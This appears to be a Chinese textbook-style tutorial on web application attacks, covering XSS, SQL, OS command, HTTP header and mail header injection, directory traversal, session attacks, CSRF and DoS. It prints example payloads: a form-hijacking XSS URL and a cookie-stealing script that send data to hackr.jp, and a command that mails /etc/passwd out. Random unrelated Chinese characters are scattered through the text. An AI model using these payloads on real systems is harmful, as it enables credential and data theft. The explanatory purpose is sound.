本文主要講解具體有哪些攻擊 Web 站點(diǎn)的手段,以及攻擊會(huì)造成怎樣的影響搁骑。
針對(duì) Web 應(yīng)用的攻擊模式
對(duì) Web 應(yīng)用的攻擊模式有以下兩種:
- 主動(dòng)攻擊
- 被動(dòng)攻擊
以服務(wù)器為目標(biāo)的主動(dòng)攻擊
主動(dòng)攻擊是指攻擊者通過(guò)直接訪(fǎng)問(wèn)Web應(yīng)用,把攻擊代碼傳入的攻擊模式法精。由于該模式是直接針對(duì)服務(wù)器上的資源進(jìn)行攻擊娇妓,因此攻擊者需要能夠訪(fǎng)問(wèn)那些資源伐庭。
主動(dòng)攻擊模式中具有代表性的攻擊是 SQL 注入攻擊和 OS 命令注入攻擊。
以服務(wù)器為目標(biāo)的被動(dòng)攻擊
被動(dòng)攻擊是指利用圈套策略執(zhí)行攻擊代碼的攻擊模式原押。在被動(dòng)攻擊過(guò)程中胁镐,攻擊者不直接對(duì)目標(biāo) Web 應(yīng)用訪(fǎng)問(wèn)發(fā)起攻擊。
被動(dòng)攻擊通常的攻擊模式如下所示:
- 攻擊者誘使用戶(hù)觸發(fā)已設(shè)置號(hào)的陷阱,而陷阱會(huì)啟動(dòng)發(fā)送已嵌入攻擊代碼的 HTTP 請(qǐng)求希停。
- 當(dāng)用戶(hù)不知不覺(jué)中招以后烁巫,用戶(hù)的瀏覽器或郵件客戶(hù)端就會(huì)觸發(fā)這個(gè)陷阱。
- 中招后的用戶(hù)瀏覽器會(huì)把含有攻擊代碼的 HTTP 請(qǐng)求發(fā)送給作為攻擊目標(biāo)的 Web 應(yīng)用宠能,運(yùn)行攻擊代碼亚隙。
- 執(zhí)行完攻擊代碼,存在安全漏洞的 Web 應(yīng)用會(huì)成為攻擊者的跳板违崇,可能導(dǎo)致用戶(hù)所持的 Cookie 等個(gè)人信息被竊取阿弃,登錄狀態(tài)中的用戶(hù)權(quán)限遭惡意濫用等后果。
主動(dòng)攻擊模式中具有代表性的攻擊是跨站腳本攻擊和跨站點(diǎn)請(qǐng)求偽造羞延。
利用用戶(hù)的身份攻擊企業(yè)內(nèi)部網(wǎng)絡(luò)
利用被動(dòng)攻擊渣淳,可發(fā)起對(duì)原本從互聯(lián)網(wǎng)上無(wú)法直接訪(fǎng)問(wèn)的企業(yè)內(nèi)網(wǎng)等網(wǎng)絡(luò)的攻擊。只要用戶(hù)踏入攻擊者預(yù)先設(shè)好的陷阱伴箩,在用戶(hù)能夠訪(fǎng)問(wèn)到的網(wǎng)絡(luò)范圍內(nèi)入愧,即使是企業(yè)內(nèi)網(wǎng)也同樣會(huì)受到攻擊。
因輸出值轉(zhuǎn)義不完全引發(fā)的安全漏洞
實(shí)施Web應(yīng)用的安全對(duì)策大致有兩個(gè)部分:
- 客戶(hù)端的驗(yàn)證
- Web 應(yīng)用端(服務(wù)端)的驗(yàn)證:
- 輸入值驗(yàn)證
- 輸出值轉(zhuǎn)義
跨站腳本攻擊(Cross-Site Scripting, XSS)
XXS 是指通過(guò)存在安全漏洞的 Web 網(wǎng)站注冊(cè)用戶(hù)的瀏覽器內(nèi)運(yùn)行非法的 HTML 標(biāo)簽或 JavaScript 進(jìn)行的一種攻擊嗤谚。指的是惡意攻擊者往 Web 頁(yè)面里插入惡意 HTML 代碼棺蛛,當(dāng)用戶(hù)瀏覽該頁(yè)之時(shí),嵌入其中 Web 里面的 HTML 代碼會(huì)被執(zhí)行巩步,從而達(dá)到惡意用戶(hù)的特殊目的旁赊。動(dòng)態(tài)創(chuàng)建的 HTML 部分有可能隱藏著安全漏洞。用戶(hù)在瀏覽時(shí)椅野,不小心就會(huì)受到被動(dòng)攻擊终畅。
跨站腳本攻擊可能造成以下影響:
- 利用虛假輸入表單騙取用戶(hù)個(gè)人信息
- 利用腳本竊取用戶(hù)的 Cookie 值,被害者在不知情的情況下竟闪,幫助攻擊者發(fā)送惡意請(qǐng)求
- 顯示偽造的文章或圖片
在動(dòng)態(tài)生成 HTML 處發(fā)生
以編輯個(gè)人信息頁(yè)面為例:
輸入帶有HTML標(biāo)簽的字符串离福,瀏覽器會(huì)把用戶(hù)輸入的 <s> 解析成 HTML 標(biāo)簽。刪除線(xiàn)顯示出來(lái)并不會(huì)造成太大的不利后果炼蛤,但如果換成使用 script 標(biāo)簽?zāi)兀?/p>
XSS 是攻擊者利用預(yù)先設(shè)置的陷阱觸發(fā)的被動(dòng)攻擊
跨站腳本攻擊屬于被動(dòng)攻擊模式妖爷,因此攻擊者會(huì)事先布置好用于攻擊的陷阱。
下圖網(wǎng)站通過(guò)地址欄中 URI 的查詢(xún)字段指定 ID鲸湃,即相當(dāng)于在表單內(nèi)自動(dòng)填寫(xiě)字符串的功能赠涮。而就在這個(gè)地方子寓,隱藏著可執(zhí)行跨站腳本攻擊的漏洞暗挑。
充分熟知此處漏洞特點(diǎn)的攻擊者,于是創(chuàng)建了下面這段潛入惡意代碼的 URL斜友。并隱藏植入事先準(zhǔn)備好的欺詐郵件中或 Web 頁(yè)面內(nèi)炸裆,誘使用戶(hù)去點(diǎn)擊該 URL。
http://example.jp/login?ID="><script>var+f=document
.getElementById("login");+f.action="http://hackr.jp/pwget";+f.
method="get";</script><span+s="
瀏覽器打開(kāi)該 URI 后鲜屏,直觀(guān)感覺(jué)沒(méi)有發(fā)生任何變化烹看,但設(shè)置好的腳本卻偷偷開(kāi)始運(yùn)行了国拇。
之后,ID 及密碼會(huì)傳給該正規(guī)網(wǎng)站惯殊,接下來(lái)仍然是按正常登錄步驟酱吝,用戶(hù)很難意識(shí)到自己的登錄信息已遭泄漏。
對(duì)http://example.jp/login?ID=yama
請(qǐng)求時(shí)對(duì)應(yīng)的HTML源代碼(摘錄)
<div class="logo">
![](imglogo.gif)
</div>
<form action="http://example.jp/login" method="post" id="login">
<div class="input_id">
ID <input type="text" name="ID" value="yama" />
</div>
對(duì) http://example.jp/login?ID="><script>var+f=document.getElementById("login");+f.action="http://hackr.jp/pwget";+f.method="get";</script><span+s="
請(qǐng)求時(shí)對(duì)應(yīng)的HTML源代碼(摘錄)
<div class="logo">
![](imglogo.gif)
</div>
<form action="http://example.jp/login" method="post" id="login">
<div class="input_id">
ID <input type="text" name="ID" value=""><script>var f=document.getElementById("login"); f.action="http://hackr.jp/pwget"; f.method="get";</script><span s=""/>
</div>
其中土思,f.method = "get" 表示從 URI 提交务热,表單可以跨域請(qǐng)求。
對(duì)用戶(hù) Cookie 的竊取攻擊
除了在表單中設(shè)下圈套之外己儒,下面那種惡意構(gòu)造的腳本同樣能夠以跨站腳本攻擊的方式崎岂,竊取到用戶(hù)的Cookie信息
<script src=http://hackr.jp/xss.js></script>
該腳本內(nèi)指定的 http://hackr.jp/xss.js
文件。即下面這段采用JavaScript編寫(xiě)的代碼
var content = escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content);
document.write(">");
在存在可跨站腳本攻擊安全漏洞的 Web 應(yīng)用上執(zhí)行上面這段 JavaScript 程序闪湾,即可訪(fǎng)問(wèn)到該 Web 應(yīng)用所處域名下的 Cookie 信息冲甘。然后這些信息會(huì)發(fā)送至攻擊者的 Web 網(wǎng)站(http://hackr.jp/
),記錄在他的登錄日志中途样。結(jié)果江醇,攻擊者就這樣竊取到用戶(hù)的 Cookie 信息了。
SQL 注入攻擊(SQL Injection)
SQL 注入是指針對(duì) Web 應(yīng)用使用的數(shù)據(jù)庫(kù)娘纷,通過(guò)運(yùn)行非法的 SQL 而產(chǎn)生的攻擊嫁审。該安全隱患有可能引發(fā)極大的威脅,有時(shí)會(huì)直接導(dǎo)致個(gè)人信息及機(jī)密信息的泄露赖晶。是攻擊者將 SQL 語(yǔ)句改變成開(kāi)發(fā)者意想不到的形式以達(dá)到破壞結(jié)構(gòu)的攻擊律适。
SQL 注入攻擊有可能會(huì)造成以下等影響:
- 非法查看或篡改數(shù)據(jù)庫(kù)內(nèi)的數(shù)據(jù)
- 規(guī)避認(rèn)證
- 執(zhí)行和數(shù)據(jù)庫(kù)服務(wù)器業(yè)務(wù)關(guān)聯(lián)的程序
下面以某個(gè)購(gòu)物網(wǎng)站的搜索功能為例,講解 SQL 注入攻擊遏插。通過(guò)該功能捂贿,我們可以將某作者的名字作為搜索關(guān)鍵字,查找該作者的所有著作胳嘲。
正常處理的操作
select * from bookTbl where author = '上野宣' and flag = 1;
URL (http://example.com/search?q=上野宣)的查詢(xún)字段已指定 q = 上野宣厂僧,這個(gè)值由 Web 應(yīng)用傳入到 SQL 語(yǔ)句中,構(gòu)成上面的 SQL 語(yǔ)句了牛。
該 SQL 語(yǔ)句表示“從 bookTbl 表中颜屠,顯示滿(mǎn)足 author = 上野宣 and flag = 1(可售)所在行的數(shù)據(jù)”。
SQL 注入攻擊案例
把剛才指定查詢(xún)字段的上野宣改寫(xiě)成“上野宣 '--”鹰祸。
select * from bookTbl where author = '上野宣'--' and flag = 1;
SQL 語(yǔ)句中的 -- 之后全視為注釋甫窟。即,and flag = 1 這個(gè)條件被自動(dòng)忽略了蛙婴。結(jié)果和 flag 的設(shè)定值無(wú)關(guān)粗井,只取出滿(mǎn)足 author = “上野宣” 條件所在行的數(shù)據(jù),這樣連那些尚未出版的圖書(shū)也一并顯示出來(lái)了。
OS 命令注入攻擊(OS Command Injection)
OS 命令注入攻擊是指通過(guò) Web 應(yīng)用浇衬,執(zhí)行非法的操作系統(tǒng)命令達(dá)到攻擊的目的懒构。只要在能調(diào)用 Shell 函數(shù)的地方就有存在被攻擊的風(fēng)險(xiǎn)。
可以從 Web 應(yīng)用中通過(guò) Shell 來(lái)調(diào)用操作系統(tǒng)命令耘擂,倘若調(diào)用 Shell 時(shí)存在疏漏胆剧,就可以執(zhí)行插入的非法 OS 命令。
OS 命令注入攻擊可以向 Shell 發(fā)送命令醉冤,讓 Windows 或 Linux 操作系統(tǒng)的命令行啟動(dòng)程序赞赖。也就是說(shuō),通過(guò) OS 注入攻擊可以執(zhí)行 OS 上冤灾。
OS 注入攻擊案例
下面以咨詢(xún)表單的發(fā)送功能為例前域,講解 OS 注入攻擊。該功能可將用戶(hù)的咨詢(xún)郵件按已填寫(xiě)的對(duì)方郵箱地址發(fā)送過(guò)去韵吨。以下是處理該表單內(nèi)容的一部分核心代碼:
my $adr = $q->param('mailaddress');
open(MAIL, "| /usr/local/sendmail $adr");
print MAIL "From info@example.com\n";
程序中的 open 函數(shù)會(huì)調(diào)用 send 命令發(fā)送郵件匿垄,而指定的郵件發(fā)送地址即 $adr 的值。攻擊者將下面的值指定作為郵件地址归粉。
; cat /etc/passwd | mail hack@exaple.jp
程序接收該值椿疗,構(gòu)成以下的命令組合。
| /usr/sbin/sendmail ;cat /etc/passwd | mail hack@example.jp
攻擊者的輸入值中有分號(hào)(;)這個(gè)符號(hào)在 OS 命令中糠悼,會(huì)被解析為分割多個(gè)執(zhí)行命令的標(biāo)記届榄。可見(jiàn)倔喂,Sendmail 命令執(zhí)行被分隔后铝条,接下去就會(huì)執(zhí)行 cat /etc/passwd | mail hack@example.jp
這樣的命令了。結(jié)果席噩,含有 Linux 賬號(hào)信息 /etc/passwd
的文件班缰,就以郵件形式發(fā)送給 hack@example.jp
。
HTTP 首部注入攻擊(HTTP Header Injection)
HTTP 首部注入攻擊是指攻擊者通過(guò)在響應(yīng)首部字段內(nèi)插入換行悼枢,添加任意響應(yīng)首部或主體的一種攻擊捷凄。屬于被動(dòng)攻擊模式丹墨。
向首部主體內(nèi)添加內(nèi)容的攻擊稱(chēng)為 HTTP 響應(yīng)截?cái)喙簦℉TTP Response Splitting Attack)。
如下所示厅瞎,Web 應(yīng)用有時(shí)會(huì)把從外部接收到的數(shù)值糯钙,賦給響應(yīng)首部字段 Location 和 Set-Cookie戳寸。
Location http://www.example.com/a.cgi?q=12345
Set-Cookie: UID=12345
*12345 就是插入值
HTTP 首部注入可能像這樣产喉,通過(guò)在某些響應(yīng)首部字段需要處理輸出值的地方析珊,插入換行發(fā)動(dòng)攻擊。
HTTP 首部注入攻擊可能造成的影響:
- 設(shè)置任何 Cookie 信息
- 重定向至任意 URL
- 顯示任意主體(HTTP 響應(yīng)截?cái)喙簦?/li>
HTTP 首部注入攻擊案例
下面我們以選定某個(gè)類(lèi)別后即可跳轉(zhuǎn)至個(gè)類(lèi)別對(duì)應(yīng)頁(yè)面的功能為例渔期,講解 HTTP 首部注入攻擊运吓。該功能為每個(gè)類(lèi)別都設(shè)定了一個(gè)類(lèi)別 ID 值,一旦選定某類(lèi)別疯趟,就會(huì)將該 ID 值反映在響應(yīng)內(nèi)的 Location 首部字段內(nèi)拘哨,形如 Location: http://example.com?cat=101
。令瀏覽器發(fā)生重定向跳轉(zhuǎn)信峻。
攻擊者以下面的內(nèi)容替代之前的類(lèi)別 ID 后發(fā)送請(qǐng)求倦青。
101%0D%0ASet-Cookie:+SID=123456789
其中,%0D%0A
代表 HTTP 報(bào)文中的換行符盹舞,緊接著的是可強(qiáng)制將攻擊者網(wǎng)站(http://hackr.jp/)的會(huì)話(huà) ID 設(shè)置成 SID=123456789
的 Set-Cookie
首部字段产镐。
發(fā)送該請(qǐng)求之后,假設(shè)結(jié)果返回以下響應(yīng)踢步。
Location: http://example.com/?cat=101 (%0D%0A:換行符)
Set-Cookie: SID=123456789
此刻癣亚,首部字段Set-Cookie
已生效,因此攻擊者可指定修改任意的 Cookie 信息获印。通過(guò)和會(huì)話(huà)固定攻擊(攻擊者可使用指定的會(huì)話(huà) ID)組合述雾,攻擊者可偽裝成用戶(hù)。
攻擊者輸入的%0D%0A
兼丰,原本應(yīng)該屬于首部字段Location
的查詢(xún)值部分玻孟,但經(jīng)過(guò)解析后,%0D%0A
變成了換行符鳍征,結(jié)果插入了新的首部字段黍翎。這樣一來(lái),攻擊者可在響應(yīng)中插入任務(wù)的首部字段艳丛。
HTTP 響應(yīng)截?cái)喙?/strong>
HTTP 響應(yīng)截?cái)喙羰怯迷?HTTP 首部注入的一種攻擊匣掸。攻擊順序相同,但是要將兩個(gè)%0D%0A%0D%0A
并排插入字符串后發(fā)送氮双。利用這兩個(gè)連續(xù)的換行就可作出 HTTP 首部與主體分隔所需的空行了旺聚,這樣就能顯示偽造的主體,達(dá)到攻擊目的眶蕉。
Set-Cookie:UID =(%0D%0A:換行符)
(%0D%0A:換行符)
<HTML><HEAD><TITLE>之后砰粹,想要顯示的網(wǎng)頁(yè)內(nèi)容
<!--(原來(lái)頁(yè)面對(duì)應(yīng)的首部字段和主體部分全視為注釋?zhuān)?
利用這個(gè)攻擊,已觸發(fā)陷阱的用戶(hù)瀏覽器會(huì)顯示偽造的 Web 頁(yè)面造挽,再讓用戶(hù)輸入自己的個(gè)人信息等碱璃,可達(dá)到和跨站腳本攻擊相同的效果。
另外饭入,濫用 HTTP/1.1 中匯集多響應(yīng)返回功能嵌器,會(huì)導(dǎo)致緩存服務(wù)器對(duì)任意內(nèi)容進(jìn)行緩存操作。這種攻擊稱(chēng)為緩存污染谐丢。使用該緩存服務(wù)器的用戶(hù)爽航,在瀏覽遭受攻擊的網(wǎng)站時(shí)蚓让,會(huì)不斷地瀏覽被替換掉的 Web 網(wǎng)頁(yè)。
郵件首部注入攻擊(Mail Header Injection)
郵件首部注入攻擊是指 Web 應(yīng)用中的郵件發(fā)送功能讥珍,攻擊者通過(guò)向郵件首部 To 或 Subject 內(nèi)任意添加非法內(nèi)容發(fā)起的攻擊历极。利用存在安全漏洞的 Web 網(wǎng)站,可對(duì)任意郵件地址發(fā)送廣告郵件或病毒郵件衷佃。
郵件首部注入攻擊案例
攻擊者將以下數(shù)據(jù)作為郵件地址發(fā)起請(qǐng)求趟卸。
bob@hackr.jp%0D%0ABcc: user@example.com
%0D%0A
在郵件報(bào)文中代表?yè)Q行符。一旦咨詢(xún)表單所在的 Web 應(yīng)用接收了這個(gè)換行符氏义,就可能實(shí)現(xiàn)對(duì) Bcc 郵件地址的追加發(fā)送锄列,而這原本是無(wú)法指定的。
另外像下面一樣惯悠,使用兩個(gè)連續(xù)的換行符就有可能篡改郵件文本內(nèi)容并發(fā)送邻邮。
bob@hackr.jp%0D%0A%0D%0ATest Message
再以相同的方法,就有可能改寫(xiě) To 和 Subject 等任意郵件首部克婶,或向文本添加附件等動(dòng)作饶囚。
目錄遍歷攻擊(Directory Traversal)
目錄遍歷攻擊是指對(duì)本無(wú)本意公開(kāi)的文件目錄,通過(guò)非法截?cái)嗥淠夸浡窂胶箴梗_(dá)成訪(fǎng)問(wèn)目的的一種攻擊萝风。
通過(guò) Web 應(yīng)用對(duì)文件處理操作時(shí),由外部指定文件名的處理存在疏漏的情況下紫岩,用戶(hù)可使用../
等相對(duì)路徑定位到/etc/passed
等絕對(duì)路徑上规惰,因此服務(wù)器上任意的文件或文件目錄皆有可能被訪(fǎng)問(wèn)到。這樣一來(lái)泉蝌,就有可能非法瀏覽歇万、篡改或刪除 Web 服務(wù)器上的文件。
固然存在輸出值轉(zhuǎn)義的問(wèn)題勋陪,但更應(yīng)該關(guān)閉指定對(duì)任意文件名的訪(fǎng)問(wèn)權(quán)限贪磺。
目錄遍歷攻擊案例
下面以顯示讀取文件功能為例,講解目錄遍歷攻擊诅愚。該功能通過(guò)以下查詢(xún)字段寒锚,指定某個(gè)文件名。然后從/www/log/
文件目錄下讀取指定文件违孝。
http://example.com/read.php?log=0401.log
攻擊者設(shè)置如下查詢(xún)字段后發(fā)出請(qǐng)求刹前。
http://example.com/read.php?log=../../etc/passwd
查詢(xún)字段為了讀取攻擊者盯上的/etc/passwd
文件,會(huì)從/www/log/
目錄開(kāi)始定位相對(duì)路徑雌桑。如果這份read.php
腳本接受對(duì)指定目錄的訪(fǎng)問(wèn)請(qǐng)求處理喇喉,那原本不公開(kāi)的文件就存在可被訪(fǎng)問(wèn)的風(fēng)險(xiǎn)。
遠(yuǎn)程文件包含漏洞(Remote File Inclusion)
遠(yuǎn)程文件包含漏洞是指當(dāng)部分腳本內(nèi)容需要從其他文件讀入時(shí)校坑,攻擊者利用指定外部服務(wù)器的 URL 充當(dāng)依賴(lài)文件拣技,當(dāng)腳本讀取之后千诬,就可運(yùn)行任意腳本的一種攻擊。
因設(shè)置或設(shè)計(jì)上的缺陷引發(fā)的安全漏洞
因設(shè)置或設(shè)計(jì)上的缺陷引發(fā)的安全漏洞是指膏斤,錯(cuò)誤設(shè)置 Web 服務(wù)器徐绑,或是由設(shè)計(jì)上的一些問(wèn)題引起的安全漏洞。
強(qiáng)制瀏覽(Forced Browsing)
強(qiáng)制瀏覽是指從安置在 Web 服務(wù)器的公開(kāi)目錄下的文件中掸绞,瀏覽那些原本非自愿公開(kāi)的文件。
強(qiáng)制瀏覽有可能造成的影響:
- 泄露顧客的個(gè)人信息等重要情報(bào)
- 泄露原本需要具有訪(fǎng)問(wèn)權(quán)限的用戶(hù)才可查閱的信息內(nèi)容
- 泄露未外連接到外界的文件
對(duì)那些原本不愿公開(kāi)的文件耕捞,為了保證安全會(huì)隱蔽其 URL衔掸。可一旦知道了那些 URL俺抽,也就意味著可瀏覽 URL 對(duì)應(yīng)的文件敞映。直接顯示容易推測(cè)的文件名或文件目錄索引時(shí),通過(guò)某些方法可能會(huì)使 URL 產(chǎn)生泄露磷斧。
強(qiáng)制瀏覽導(dǎo)致安全漏洞的案例
下面我們以會(huì)員制度的 SNS 日記功能為例振愿,講解強(qiáng)制瀏覽可能導(dǎo)致的安全漏洞。該日志功能保證除具有訪(fǎng)問(wèn)權(quán)限的用戶(hù)本人外弛饭,其他人都不能訪(fǎng)問(wèn)日記冕末。
即使沒(méi)有對(duì)這篇日記的訪(fǎng)問(wèn)權(quán)限,只要知道這圖片的 URL侣颂,通過(guò)直接指定 URL 的方式就能顯示該圖片档桃。日記的功能和文本具有訪(fǎng)問(wèn)對(duì)象的控制,但不具備對(duì)圖片訪(fǎng)問(wèn)對(duì)象的控制憔晒,從而產(chǎn)生了安全漏洞藻肄。
不正確的錯(cuò)誤消息處理(Error Handling Vulnerability)
不正確的錯(cuò)誤消息處理是指 Web 應(yīng)用的錯(cuò)誤信息內(nèi)包含對(duì)攻擊者有用的信息。Web 應(yīng)用不必在用戶(hù)瀏覽頁(yè)面上展現(xiàn)詳細(xì)的錯(cuò)誤信息拒担,對(duì)攻擊者來(lái)說(shuō)嘹屯,詳細(xì)的錯(cuò)誤消息有可能給他們的下一次攻擊以提示。
與 Web 應(yīng)用有關(guān)的主要錯(cuò)誤信息如下所示:
- Web 應(yīng)用拋出的錯(cuò)誤信息
- 數(shù)據(jù)庫(kù)等系統(tǒng)拋出的錯(cuò)誤消息
開(kāi)放重定向(Open Redirect)
開(kāi)放重定向是指一種對(duì)指定的任意 URL 作重定向跳轉(zhuǎn)的功能从撼。而于此功能相關(guān)聯(lián)的安全漏洞是指州弟,假如指定的重定向 URL 到某個(gè)具有惡意的 Web 網(wǎng)站,那么用戶(hù)就會(huì)被誘導(dǎo)至那個(gè) Web 網(wǎng)站低零。
因會(huì)話(huà)管理疏忽引發(fā)的安全漏洞
會(huì)話(huà)管理是用來(lái)管理用戶(hù)狀態(tài)的必備功能呆馁,但是如果管理有所疏忽,就會(huì)導(dǎo)致用戶(hù)的認(rèn)證狀態(tài)被竊取等后果毁兆。
會(huì)話(huà)劫持(Session Hijack)
會(huì)話(huà)劫持是指攻擊者通過(guò)某種手段拿到了用戶(hù)的會(huì)話(huà) ID浙滤,并非法使用此會(huì)話(huà) ID 偽裝成用戶(hù),達(dá)到攻擊的目的气堕。
具備認(rèn)證功能的 Web 應(yīng)用纺腊,使用會(huì)話(huà) ID 的會(huì)話(huà)管理機(jī)制畔咧,作為管理認(rèn)證狀態(tài)的主流方式。會(huì)話(huà) ID 中記錄客戶(hù)端的 Cookie 等信息揖膜,服務(wù)器端將會(huì)話(huà) ID 與認(rèn)證狀態(tài)進(jìn)行一對(duì)一匹配管理誓沸。
下面列舉了幾種攻擊者可獲得會(huì)話(huà) ID 的途徑:
- 通過(guò)非正規(guī)的生成方法推測(cè)會(huì)話(huà) ID
- 通過(guò)竊聽(tīng)或 XSS 攻擊盜取會(huì)話(huà) ID
- 通過(guò)會(huì)話(huà)固定攻擊強(qiáng)行獲取會(huì)話(huà) ID
會(huì)話(huà)劫持攻擊案例
下面以認(rèn)證功能為例講解會(huì)話(huà)劫持。這里的認(rèn)證功能通過(guò)會(huì)話(huà)管理機(jī)制壹粟,會(huì)將成功認(rèn)證的用戶(hù)的會(huì)話(huà) ID (SID)保存在用戶(hù)瀏覽器的 Cookie 中拜隧。
攻擊者在得知該 Web 網(wǎng)站存在可跨站攻擊(XSS)的安全漏洞后,就設(shè)置好用 Javascript 腳本調(diào)用 document.cookie 以竊取 Cookie 信息的陷阱趁仙,一旦用戶(hù)踏入陷阱(訪(fǎng)問(wèn)了該腳本)洪添,攻擊者就能獲取含有會(huì)話(huà) ID 的 Cookie。
攻擊者拿到用戶(hù)的會(huì)話(huà) ID 后雀费,往自己的瀏覽器的 Cookie 中設(shè)置該會(huì)話(huà) ID干奢,即可偽裝成會(huì)話(huà) ID 遭竊的用戶(hù),訪(fǎng)問(wèn) Web 網(wǎng)站了盏袄。
會(huì)話(huà)固定攻擊(Session Fixation)
對(duì)以竊取目標(biāo)會(huì)話(huà) ID 為主動(dòng)攻擊手段的會(huì)話(huà)劫持而言忿峻,會(huì)話(huà)固定攻擊會(huì)強(qiáng)制用戶(hù)使用攻擊者指定的會(huì)話(huà) ID,屬于被動(dòng)攻擊辕羽。
會(huì)話(huà)固定攻擊案例
下面以認(rèn)證功能為例講解會(huì)話(huà)固定攻擊逛尚。這個(gè) Web 網(wǎng)站的認(rèn)證功能,會(huì)在認(rèn)證前發(fā)布一個(gè)會(huì)話(huà) ID刁愿,若認(rèn)證成功黑低,就會(huì)在服務(wù)器內(nèi)改變認(rèn)證狀態(tài)。
攻擊者準(zhǔn)備陷阱酌毡,先訪(fǎng)問(wèn) Web 網(wǎng)站拿到會(huì)話(huà) ID(SID=f5d1278e8109)克握。此時(shí),會(huì)話(huà) ID 在服務(wù)器上的記錄仍是(未認(rèn)證)狀態(tài)枷踏。(步驟 1菩暗、2)
攻擊者設(shè)置好強(qiáng)制用戶(hù)使用該會(huì)話(huà) ID 的陷阱,并等待用戶(hù)拿著這個(gè)會(huì)話(huà) ID 前去認(rèn)證旭蠕。一旦用戶(hù)觸發(fā)陷阱并完成認(rèn)證停团,會(huì)話(huà) ID(SID=f5d1278e8109)在服務(wù)器上的狀態(tài)(用戶(hù) A 已認(rèn)證)就會(huì)被記錄下來(lái)。(步驟 3)
攻擊者估計(jì)用戶(hù)差不多已觸發(fā)陷阱后掏熬,再利用之前這個(gè)會(huì)話(huà) ID 訪(fǎng)問(wèn)網(wǎng)站佑稠。由于該會(huì)話(huà) ID 目前已是(用戶(hù) A 已認(rèn)證)狀態(tài),于是攻擊者作為用戶(hù) A 的身份順利登錄網(wǎng)站旗芬。(步驟 4)
Session Adoption
Session Adoption 是指 PHP 或 ASP.NET 能夠接收處理未知會(huì)話(huà) ID 的功能舌胶。
惡意使用該功能便可跳過(guò)會(huì)話(huà)固定攻擊的準(zhǔn)備階段,從 Web 網(wǎng)站獲得發(fā)行的會(huì)話(huà) ID 的步驟疮丛。即幔嫂,攻擊者可私自創(chuàng)建會(huì)話(huà) ID 構(gòu)成陷阱辆它,中間件卻會(huì)誤以為該會(huì)話(huà) ID 是未知會(huì)話(huà) ID 而接受。
跨站點(diǎn)請(qǐng)求偽造(Cross-Site Request Forgeries, CSRF)
跨站點(diǎn)請(qǐng)求偽造是指攻擊者通過(guò)設(shè)置好的陷阱履恩,強(qiáng)制對(duì)已完成認(rèn)證的用戶(hù)進(jìn)行非預(yù)期的個(gè)人信息或設(shè)定信息等某些狀態(tài)更新锰茉,屬于被動(dòng)攻擊∏行模可能造成的影響:
- 利用已通過(guò)認(rèn)證的用戶(hù)權(quán)限更新設(shè)定信息
- 利用已通過(guò)認(rèn)證的用戶(hù)權(quán)限購(gòu)買(mǎi)商品
- 利用已通過(guò)認(rèn)證的用戶(hù)權(quán)限在留言板上發(fā)表言論
跨站點(diǎn)請(qǐng)求偽造攻擊案例
下面以留言板功能為例飒筑,講解跨站點(diǎn)請(qǐng)求偽造。該功能只允許已認(rèn)證并登錄的用戶(hù)在留言板上發(fā)表內(nèi)容绽昏。
在該留言板系統(tǒng)上协屡,受害者用戶(hù) A 是已認(rèn)證狀態(tài)。它的瀏覽器中的 Cookie 持有已認(rèn)證的會(huì)話(huà) ID (步驟 1)而涉。
攻擊者設(shè)置好一旦用戶(hù)訪(fǎng)問(wèn)著瓶,即會(huì)發(fā)送在留言板上發(fā)表非主觀(guān)行為產(chǎn)生的評(píng)論的請(qǐng)求的陷阱联予。用戶(hù) A 的瀏覽器執(zhí)行完陷阱中的請(qǐng)求后啼县,留言板也就會(huì)留下那條評(píng)論(步驟 2)。
觸發(fā)陷阱之際沸久,如果用戶(hù) A 尚未通過(guò)認(rèn)證季眷,則無(wú)法利用用戶(hù) A 的身份權(quán)限在留言板上發(fā)表內(nèi)容。
其他安全漏洞
密碼破解(Password Cracking)
即算出密碼卷胯,突破認(rèn)證子刮。攻擊不僅限于 Web 應(yīng)用,還包括其他系統(tǒng)窑睁。
點(diǎn)擊劫持(Clickjacking)
是指利用透明的按鈕或鏈接做成陷阱挺峡,覆蓋在 Web 頁(yè)面之上,然后誘導(dǎo)用戶(hù)在不知情的情況下担钮,點(diǎn)擊那個(gè)鏈接訪(fǎng)問(wèn)內(nèi)容的一種攻擊手段橱赠。
Dos攻擊(Denial of Service attack)
Dos 攻擊是一種讓運(yùn)行中的服務(wù)呈停止?fàn)顟B(tài)的攻擊。有時(shí)也叫做服務(wù)停止攻擊或拒絕服務(wù)攻擊箫津。Dos 攻擊的對(duì)象不局限于 Web 網(wǎng)站狭姨,還包括網(wǎng)絡(luò)設(shè)置及服務(wù)器等。
有兩種攻擊方式:
- 集中利用訪(fǎng)問(wèn)請(qǐng)求造成資源過(guò)載苏遥,資源用盡的同時(shí)饼拍,實(shí)際上服務(wù)也就呈停止?fàn)顟B(tài)。
- 通過(guò)攻擊安全漏洞使服務(wù)停止田炭。
其中师抄,集中利用訪(fǎng)問(wèn)請(qǐng)求的 DoS 攻擊,單純來(lái)講就是發(fā)送大量的合法請(qǐng)求教硫。服務(wù)器很難分辨何為正常請(qǐng)求司澎,何為攻擊請(qǐng)求欺缘,因此很難防止 DoS 攻擊。
多臺(tái)計(jì)算機(jī)發(fā)起的 DoS 攻擊成為 DDoS 攻擊(Distributed Denial of Service attack)挤安。DDoS 攻擊通常利用那些感染病毒的計(jì)算機(jī)作為攻擊者的攻擊跳板谚殊。
后門(mén)程序(Backdoor)
后門(mén)程序是指開(kāi)發(fā)設(shè)置的隱藏入口,可不按正常步驟使用受限功能蛤铜。利用后門(mén)程序就能夠使用原本受限的功能嫩絮。
通常分類(lèi):
- 開(kāi)發(fā)階段作為 Debug 調(diào)用的后門(mén)程序
- 開(kāi)發(fā)者為了自身利益植入的后門(mén)程序
- 攻擊者通過(guò)某種方法設(shè)置的后門(mén)程序